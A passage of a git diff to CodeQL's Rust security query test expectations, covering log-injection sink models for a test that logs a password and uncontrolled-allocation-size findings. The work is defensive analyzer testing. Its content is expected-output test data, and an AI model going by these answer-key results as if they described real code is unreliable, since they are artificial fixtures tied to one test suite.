::log_expect; log-injection; Argument[0] | -| 10 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | -| 11 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_unwrap; log-injection; Argument[self].Field[crate::result::Result::Err(0)] | -| 12 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] | -| 13 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | -| 14 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; value | -| 15 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; value | -| 16 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | -| 17 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | +| 2 | Sink: lang:core; crate::panicking::assert_failed; log-injection; Argument[3] | +| 3 | Sink: lang:core; crate::panicking::assert_failed; log-injection; Argument[3].Field[crate::option::Option::Some(0)] | +| 4 | Sink: lang:core; crate::panicking::panic_fmt; log-injection; Argument[0] | +| 5 | Sink: lang:std; ::write; log-injection; Argument[0] | +| 6 | Sink: lang:std; ::write; log-injection; Argument[0] | +| 7 | Sink: lang:std; ::write_all; log-injection; Argument[0] | +| 8 | Sink: lang:std; crate::io::stdio::_eprint; log-injection; Argument[0] | +| 9 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] | +| 10 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | +| 11 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | +| 12 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_unwrap; log-injection; Argument[self].Field[crate::result::Result::Err(0)] | +| 13 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] | +| 14 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | +| 15 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; value | +| 16 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; value | +| 17 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | +| 18 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | nodes | test_logging.rs:43:5:43:36 | ...::log | semmle.label | ...::log | | test_logging.rs:43:12:43:35 | MacroExpr | semmle.label | MacroExpr | @@ -447,10 +458,12 @@ nodes | test_logging.rs:197:31:197:54 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:197:47:197:54 | password | semmle.label | password | | test_logging.rs:198:16:198:57 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:198:16:198:57 | ...::assert_failed [Some] | semmle.label | ...::assert_failed [Some] | | test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | | test_logging.rs:198:33:198:56 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:198:49:198:56 | password | semmle.label | password | | test_logging.rs:199:16:199:57 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:199:16:199:57 | ...::assert_failed [Some] | semmle.label | ...::assert_failed [Some] | | test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | | test_logging.rs:199:33:199:56 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:199:49:199:56 | password | semmle.label | password | @@ -458,14 +471,17 @@ nodes | test_logging.rs:200:37:200:60 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:200:53:200:60 | password | semmle.label | password | | test_logging.rs:201:16:201:63 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:201:16:201:63 | ...::assert_failed [Some] | semmle.label | ...::assert_failed [Some] | | test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | | test_logging.rs:201:39:201:62 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:201:55:201:62 | password | semmle.label | password | | test_logging.rs:202:17:202:64 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:202:17:202:64 | ...::assert_failed [Some] | semmle.label | ...::assert_failed [Some] | | test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | | test_logging.rs:202:40:202:63 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:202:56:202:63 | password | semmle.label | password | | test_logging.rs:203:27:203:32 | expect | semmle.label | expect | +| test_logging.rs:203:27:203:32 | expect | semmle.label | expect | | test_logging.rs:203:34:203:66 | res | semmle.label | res | | test_logging.rs:203:34:203:75 | ... .as_str() | semmle.label | ... .as_str() | | test_logging.rs:203:42:203:65 | ...::format(...) | semmle.label | ...::format(...) | diff --git a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected index 0e9acca98d7..dbc616e56c6 100644 --- a/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected +++ b/rust/ql/test/query-tests/security/CWE-770/UncontrolledAllocationSize.expected @@ -32,11 +32,17 @@ | main.rs:169:17:169:33 | ...::alloc | main.rs:317:13:317:26 | ...::args | main.rs:169:17:169:33 | ...::alloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:177:13:177:29 | ...::alloc | main.rs:317:13:317:26 | ...::args | main.rs:177:13:177:29 | ...::alloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:193:32:193:36 | alloc | main.rs:317:13:317:26 | ...::args | main.rs:193:32:193:36 | alloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:193:32:193:36 | alloc | main.rs:317:13:317:26 | ...::args | main.rs:193:32:193:36 | alloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:194:32:194:43 | alloc_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:194:32:194:43 | alloc_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:194:32:194:43 | alloc_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:194:32:194:43 | alloc_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:194:32:194:43 | alloc_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:194:32:194:43 | alloc_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:195:32:195:39 | allocate | main.rs:317:13:317:26 | ...::args | main.rs:195:32:195:39 | allocate | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:196:32:196:46 | allocate_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:196:32:196:46 | allocate_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:197:32:197:39 | allocate | main.rs:317:13:317:26 | ...::args | main.rs:197:32:197:39 | allocate | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:197:32:197:39 | allocate | main.rs:317:13:317:26 | ...::args | main.rs:197:32:197:39 | allocate | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:198:32:198:46 | allocate_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:198:32:198:46 | allocate_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:198:32:198:46 | allocate_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:198:32:198:46 | allocate_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | +| main.rs:202:32:202:38 | realloc | main.rs:317:13:317:26 | ...::args | main.rs:202:32:202:38 | realloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:208:40:208:43 | grow | main.rs:317:13:317:26 | ...::args | main.rs:208:40:208:43 | grow | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:210:40:210:50 | grow_zeroed | main.rs:317:13:317:26 | ...::args | main.rs:210:40:210:50 | grow_zeroed | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | | main.rs:219:13:219:24 | ...::malloc | main.rs:317:13:317:26 | ...::args | main.rs:219:13:219:24 | ...::malloc | This allocation size is derived from a $@ and could allocate arbitrary amounts of memory. | main.rs:317:13:317:26 | ...::args | user-provided value | @@ -53,36 +59,36 @@ edges | main.rs:18:41:18:41 | v | main.rs:32:60:32:89 | ... * ... | provenance | | | main.rs:18:41:18:41 | v | main.rs:35:9:35:10 | s6 | provenance | | | main.rs:20:9:20:10 | l2 | main.rs:21:31:21:32 | l2 | provenance | | -| main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | main.rs:20:14:20:63 | ... .unwrap() | provenance | MaD:31 | +| main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | main.rs:20:14:20:63 | ... .unwrap() | provenance | MaD:34 | | main.rs:20:14:20:63 | ... .unwrap() | main.rs:20:9:20:10 | l2 | provenance | | -| main.rs:20:50:20:50 | v | main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | +| main.rs:20:50:20:50 | v | main.rs:20:14:20:54 | ...::from_size_align(...) [Ok] | provenance | MaD:26 | | main.rs:21:31:21:32 | l2 | main.rs:21:13:21:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:21:31:21:32 | l2 | main.rs:22:31:22:44 | l2.align_to(...) [Ok] | provenance | MaD:17 | -| main.rs:21:31:21:32 | l2 | main.rs:23:31:23:44 | l2.align_to(...) [Ok] | provenance | MaD:17 | +| main.rs:21:31:21:32 | l2 | main.rs:22:31:22:44 | l2.align_to(...) [Ok] | provenance | MaD:20 | +| main.rs:21:31:21:32 | l2 | main.rs:23:31:23:44 | l2.align_to(...) [Ok] | provenance | MaD:20 | | main.rs:21:31:21:32 | l2 | main.rs:24:38:24:39 | l2 | provenance | | -| main.rs:22:31:22:44 | l2.align_to(...) [Ok] | main.rs:22:31:22:53 | ... .unwrap() | provenance | MaD:31 | +| main.rs:22:31:22:44 | l2.align_to(...) [Ok] | main.rs:22:31:22:53 | ... .unwrap() | provenance | MaD:34 | | main.rs:22:31:22:53 | ... .unwrap() | main.rs:22:13:22:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:23:31:23:44 | l2.align_to(...) [Ok] | main.rs:23:31:23:53 | ... .unwrap() | provenance | MaD:31 | -| main.rs:23:31:23:53 | ... .unwrap() | main.rs:23:31:23:68 | ... .pad_to_align() | provenance | MaD:25 | +| main.rs:23:31:23:44 | l2.align_to(...) [Ok] | main.rs:23:31:23:53 | ... .unwrap() | provenance | MaD:34 | +| main.rs:23:31:23:53 | ... .unwrap() | main.rs:23:31:23:68 | ... .pad_to_align() | provenance | MaD:28 | | main.rs:23:31:23:68 | ... .pad_to_align() | main.rs:23:13:23:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:24:38:24:39 | l2 | main.rs:24:13:24:36 | ...::alloc_zeroed | provenance | MaD:4 Sink:MaD:4 | | main.rs:29:9:29:10 | l4 | main.rs:30:31:30:32 | l4 | provenance | | | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | main.rs:29:9:29:10 | l4 | provenance | | -| main.rs:29:60:29:60 | v | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:29:60:29:60 | v | main.rs:29:14:29:64 | ...::from_size_align_unchecked(...) | provenance | MaD:27 | | main.rs:30:31:30:32 | l4 | main.rs:30:13:30:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:32:9:32:10 | l5 | main.rs:33:31:33:32 | l5 | provenance | | | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | main.rs:32:9:32:10 | l5 | provenance | | -| main.rs:32:60:32:89 | ... * ... | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:32:60:32:89 | ... * ... | main.rs:32:14:32:118 | ...::from_size_align_unchecked(...) | provenance | MaD:27 | | main.rs:33:31:33:32 | l5 | main.rs:33:13:33:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:35:9:35:10 | s6 | main.rs:36:60:36:61 | s6 | provenance | | | main.rs:36:9:36:10 | l6 | main.rs:37:31:37:32 | l6 | provenance | | | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | main.rs:36:9:36:10 | l6 | provenance | | -| main.rs:36:60:36:61 | s6 | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:36:60:36:61 | s6 | main.rs:36:14:36:65 | ...::from_size_align_unchecked(...) | provenance | MaD:27 | | main.rs:37:31:37:32 | l6 | main.rs:37:13:37:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:37:31:37:32 | l6 | main.rs:39:60:39:68 | l6.size() | provenance | MaD:28 | +| main.rs:37:31:37:32 | l6 | main.rs:39:60:39:68 | l6.size() | provenance | MaD:31 | | main.rs:39:9:39:10 | l7 | main.rs:40:31:40:32 | l7 | provenance | | | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | main.rs:39:9:39:10 | l7 | provenance | | -| main.rs:39:60:39:68 | l6.size() | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | provenance | MaD:24 | +| main.rs:39:60:39:68 | l6.size() | main.rs:39:14:39:72 | ...::from_size_align_unchecked(...) | provenance | MaD:27 | | main.rs:40:31:40:32 | l7 | main.rs:40:13:40:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:43:44:43:51 | ...: usize | main.rs:50:41:50:41 | v | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:51:41:51:45 | ... + ... | provenance | | @@ -90,56 +96,56 @@ edges | main.rs:43:44:43:51 | ...: usize | main.rs:54:48:54:53 | ... * ... | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:58:34:58:34 | v | provenance | | | main.rs:43:44:43:51 | ...: usize | main.rs:67:46:67:46 | v | provenance | | -| main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | provenance | MaD:34 | | main.rs:50:31:50:51 | ... .unwrap() [tuple.0] | main.rs:50:31:50:53 | ... .0 | provenance | | | main.rs:50:31:50:53 | ... .0 | main.rs:50:13:50:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:50:41:50:41 | v | main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | -| main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:50:41:50:41 | v | main.rs:50:31:50:42 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:29 | +| main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | provenance | MaD:34 | | main.rs:51:31:51:55 | ... .unwrap() [tuple.0] | main.rs:51:31:51:57 | ... .0 | provenance | | | main.rs:51:31:51:57 | ... .0 | main.rs:51:13:51:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:51:41:51:45 | ... + ... | main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | -| main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | main.rs:53:31:53:58 | ... .unwrap() | provenance | MaD:31 | +| main.rs:51:41:51:45 | ... + ... | main.rs:51:31:51:46 | l2.repeat(...) [Ok, tuple.0] | provenance | MaD:29 | +| main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | main.rs:53:31:53:58 | ... .unwrap() | provenance | MaD:34 | | main.rs:53:31:53:58 | ... .unwrap() | main.rs:53:13:53:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:53:48:53:48 | v | main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | provenance | MaD:27 | -| main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | main.rs:54:31:54:63 | ... .unwrap() | provenance | MaD:31 | +| main.rs:53:48:53:48 | v | main.rs:53:31:53:49 | l2.repeat_packed(...) [Ok] | provenance | MaD:30 | +| main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | main.rs:54:31:54:63 | ... .unwrap() | provenance | MaD:34 | | main.rs:54:31:54:63 | ... .unwrap() | main.rs:54:13:54:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:54:48:54:53 | ... * ... | main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | provenance | MaD:27 | +| main.rs:54:48:54:53 | ... * ... | main.rs:54:31:54:54 | l2.repeat_packed(...) [Ok] | provenance | MaD:30 | | main.rs:58:9:58:20 | TuplePat [tuple.0] | main.rs:58:10:58:11 | k1 | provenance | | | main.rs:58:10:58:11 | k1 | main.rs:59:31:59:32 | k1 | provenance | | -| main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | provenance | MaD:30 | +| main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | provenance | MaD:33 | | main.rs:58:24:58:66 | ... .expect(...) [tuple.0] | main.rs:58:9:58:20 | TuplePat [tuple.0] | provenance | | -| main.rs:58:34:58:34 | v | main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | provenance | MaD:26 | +| main.rs:58:34:58:34 | v | main.rs:58:24:58:35 | l3.repeat(...) [Ok, tuple.0] | provenance | MaD:29 | | main.rs:59:31:59:32 | k1 | main.rs:59:13:59:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:59:31:59:32 | k1 | main.rs:60:34:60:35 | k1 | provenance | | -| main.rs:59:31:59:32 | k1 | main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | provenance | MaD:20 | +| main.rs:59:31:59:32 | k1 | main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | provenance | MaD:23 | | main.rs:59:31:59:32 | k1 | main.rs:64:48:64:49 | k1 | provenance | | -| main.rs:59:31:59:32 | k1 | main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | provenance | MaD:22 | +| main.rs:59:31:59:32 | k1 | main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | provenance | MaD:25 | | main.rs:60:9:60:20 | TuplePat [tuple.0] | main.rs:60:10:60:11 | k2 | provenance | | | main.rs:60:10:60:11 | k2 | main.rs:61:31:61:32 | k2 | provenance | | -| main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | provenance | MaD:34 | | main.rs:60:24:60:45 | ... .unwrap() [tuple.0] | main.rs:60:9:60:20 | TuplePat [tuple.0] | provenance | | -| main.rs:60:34:60:35 | k1 | main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | provenance | MaD:19 | +| main.rs:60:34:60:35 | k1 | main.rs:60:24:60:36 | l3.extend(...) [Ok, tuple.0] | provenance | MaD:22 | | main.rs:61:31:61:32 | k2 | main.rs:61:13:61:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:62:9:62:20 | TuplePat [tuple.0] | main.rs:62:10:62:11 | k3 | provenance | | | main.rs:62:10:62:11 | k3 | main.rs:63:31:63:32 | k3 | provenance | | -| main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | provenance | MaD:31 | +| main.rs:62:24:62:36 | k1.extend(...) [Ok, tuple.0] | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | provenance | MaD:34 | | main.rs:62:24:62:45 | ... .unwrap() [tuple.0] | main.rs:62:9:62:20 | TuplePat [tuple.0] | provenance | | | main.rs:63:31:63:32 | k3 | main.rs:63:13:63:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | main.rs:64:31:64:59 | ... .unwrap() | provenance | MaD:31 | +| main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | main.rs:64:31:64:59 | ... .unwrap() | provenance | MaD:34 | | main.rs:64:31:64:59 | ... .unwrap() | main.rs:64:13:64:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | -| main.rs:64:48:64:49 | k1 | main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | provenance | MaD:21 | -| main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | main.rs:65:31:65:59 | ... .unwrap() | provenance | MaD:31 | +| main.rs:64:48:64:49 | k1 | main.rs:64:31:64:50 | l3.extend_packed(...) [Ok] | provenance | MaD:24 | +| main.rs:65:31:65:50 | k1.extend_packed(...) [Ok] | main.rs:65:31:65:59 | ... .unwrap() | provenance | MaD:34 | | main.rs:65:31:65:59 | ... .unwrap() | main.rs:65:13:65:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:67:9:67:10 | l4 | main.rs:68:31:68:32 | l4 | provenance | | -| main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | main.rs:67:14:67:56 | ... .unwrap() | provenance | MaD:31 | +| main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | main.rs:67:14:67:56 | ... .unwrap() | provenance | MaD:34 | | main.rs:67:14:67:56 | ... .unwrap() | main.rs:67:9:67:10 | l4 | provenance | | -| main.rs:67:46:67:46 | v | main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | +| main.rs:67:46:67:46 | v | main.rs:67:14:67:47 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | | main.rs:68:31:68:32 | l4 | main.rs:68:13:68:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:86:35:86:42 | ...: usize | main.rs:87:54:87:54 | v | provenance | | | main.rs:87:9:87:14 | layout | main.rs:88:31:88:36 | layout | provenance | | -| main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | main.rs:87:18:87:67 | ... .unwrap() | provenance | MaD:31 | +| main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | main.rs:87:18:87:67 | ... .unwrap() | provenance | MaD:34 | | main.rs:87:18:87:67 | ... .unwrap() | main.rs:87:9:87:14 | layout | provenance | | -| main.rs:87:54:87:54 | v | main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | provenance | MaD:23 | +| main.rs:87:54:87:54 | v | main.rs:87:18:87:58 | ...::from_size_align(...) [Ok] | provenance | MaD:26 | | main.rs:88:31:88:36 | layout | main.rs:88:13:88:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:91:38:91:45 | ...: usize | main.rs:92:47:92:47 | v | provenance | | | main.rs:91:38:91:45 | ...: usize | main.rs:101:51:101:51 | v | provenance | | @@ -150,16 +156,16 @@ edges | main.rs:91:38:91:45 | ...: usize | main.rs:161:55:161:55 | v | provenance | | | main.rs:92:9:92:10 | l1 | main.rs:96:35:96:36 | l1 | provenance | | | main.rs:92:9:92:10 | l1 | main.rs:102:35:102:36 | l1 | provenance | | -| main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | main.rs:92:14:92:57 | ... .unwrap() | provenance | MaD:31 | +| main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | main.rs:92:14:92:57 | ... .unwrap() | provenance | MaD:34 | | main.rs:92:14:92:57 | ... .unwrap() | main.rs:92:9:92:10 | l1 | provenance | | -| main.rs:92:47:92:47 | v | main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | +| main.rs:92:47:92:47 | v | main.rs:92:14:92:48 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | | main.rs:96:35:96:36 | l1 | main.rs:96:17:96:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:96:35:96:36 | l1 | main.rs:109:35:109:36 | l1 | provenance | | | main.rs:96:35:96:36 | l1 | main.rs:111:35:111:36 | l1 | provenance | | | main.rs:101:13:101:14 | l3 | main.rs:103:35:103:36 | l3 | provenance | | -| main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | main.rs:101:18:101:61 | ... .unwrap() | provenance | MaD:31 | +| main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | main.rs:101:18:101:61 | ... .unwrap() | provenance | MaD:34 | | main.rs:101:18:101:61 | ... .unwrap() | main.rs:101:13:101:14 | l3 | provenance | | -| main.rs:101:51:101:51 | v | main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | +| main.rs:101:51:101:51 | v | main.rs:101:18:101:52 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | | main.rs:102:35:102:36 | l1 | main.rs:102:17:102:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:102:35:102:36 | l1 | main.rs:109:35:109:36 | l1 | provenance | | | main.rs:102:35:102:36 | l1 | main.rs:111:35:111:36 | l1 | provenance | | @@ -170,85 +176,92 @@ edges | main.rs:111:35:111:36 | l1 | main.rs:111:17:111:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:111:35:111:36 | l1 | main.rs:146:35:146:36 | l1 | provenance | | | main.rs:145:13:145:14 | l9 | main.rs:148:35:148:36 | l9 | provenance | | -| main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | main.rs:145:18:145:61 | ... .unwrap() | provenance | MaD:31 | +| main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | main.rs:145:18:145:61 | ... .unwrap() | provenance | MaD:34 | | main.rs:145:18:145:61 | ... .unwrap() | main.rs:145:13:145:14 | l9 | provenance | | -| main.rs:145:51:145:51 | v | main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | +| main.rs:145:51:145:51 | v | main.rs:145:18:145:52 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | | main.rs:146:35:146:36 | l1 | main.rs:146:17:146:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:146:35:146:36 | l1 | main.rs:177:31:177:32 | l1 | provenance | | | main.rs:148:35:148:36 | l9 | main.rs:148:17:148:33 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:151:9:151:11 | l10 | main.rs:152:31:152:33 | l10 | provenance | | -| main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | main.rs:151:15:151:78 | ... .unwrap() | provenance | MaD:31 | +| main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | main.rs:151:15:151:78 | ... .unwrap() | provenance | MaD:34 | | main.rs:151:15:151:78 | ... .unwrap() | main.rs:151:9:151:11 | l10 | provenance | | -| main.rs:151:48:151:68 | ...::min(...) | main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | -| main.rs:151:62:151:62 | v | main.rs:151:48:151:68 | ...::min(...) | provenance | MaD:34 | +| main.rs:151:48:151:68 | ...::min(...) | main.rs:151:15:151:69 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | +| main.rs:151:62:151:62 | v | main.rs:151:48:151:68 | ...::min(...) | provenance | MaD:37 | | main.rs:152:31:152:33 | l10 | main.rs:152:13:152:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:154:9:154:11 | l11 | main.rs:155:31:155:33 | l11 | provenance | | -| main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | main.rs:154:15:154:78 | ... .unwrap() | provenance | MaD:31 | +| main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | main.rs:154:15:154:78 | ... .unwrap() | provenance | MaD:34 | | main.rs:154:15:154:78 | ... .unwrap() | main.rs:154:9:154:11 | l11 | provenance | | -| main.rs:154:48:154:68 | ...::max(...) | main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | provenance | MaD:18 | -| main.rs:154:62:154:62 | v | main.rs:154:48:154:68 | ...::max(...) | provenance | MaD:33 | +| main.rs:154:48:154:68 | ...::max(...) | main.rs:154:15:154:69 | ...::array::<...>(...) [Ok] | provenance | MaD:21 | +| main.rs:154:62:154:62 | v | main.rs:154:48:154:68 | ...::max(...) | provenance | MaD:36 | | main.rs:155:31:155:33 | l11 | main.rs:155:13:155:29 | ...::alloc | provenance | MaD:3 Sink:MaD:3 | | main.rs:161:13:161:15 | l13 | main.rs:162:35:162:37 | l13 | provenance | | -| main.rs:161:19:161:59 | ...::from_size_align(...) [Ok] | main.rs:161:19:161:68 | ... .unwrap() 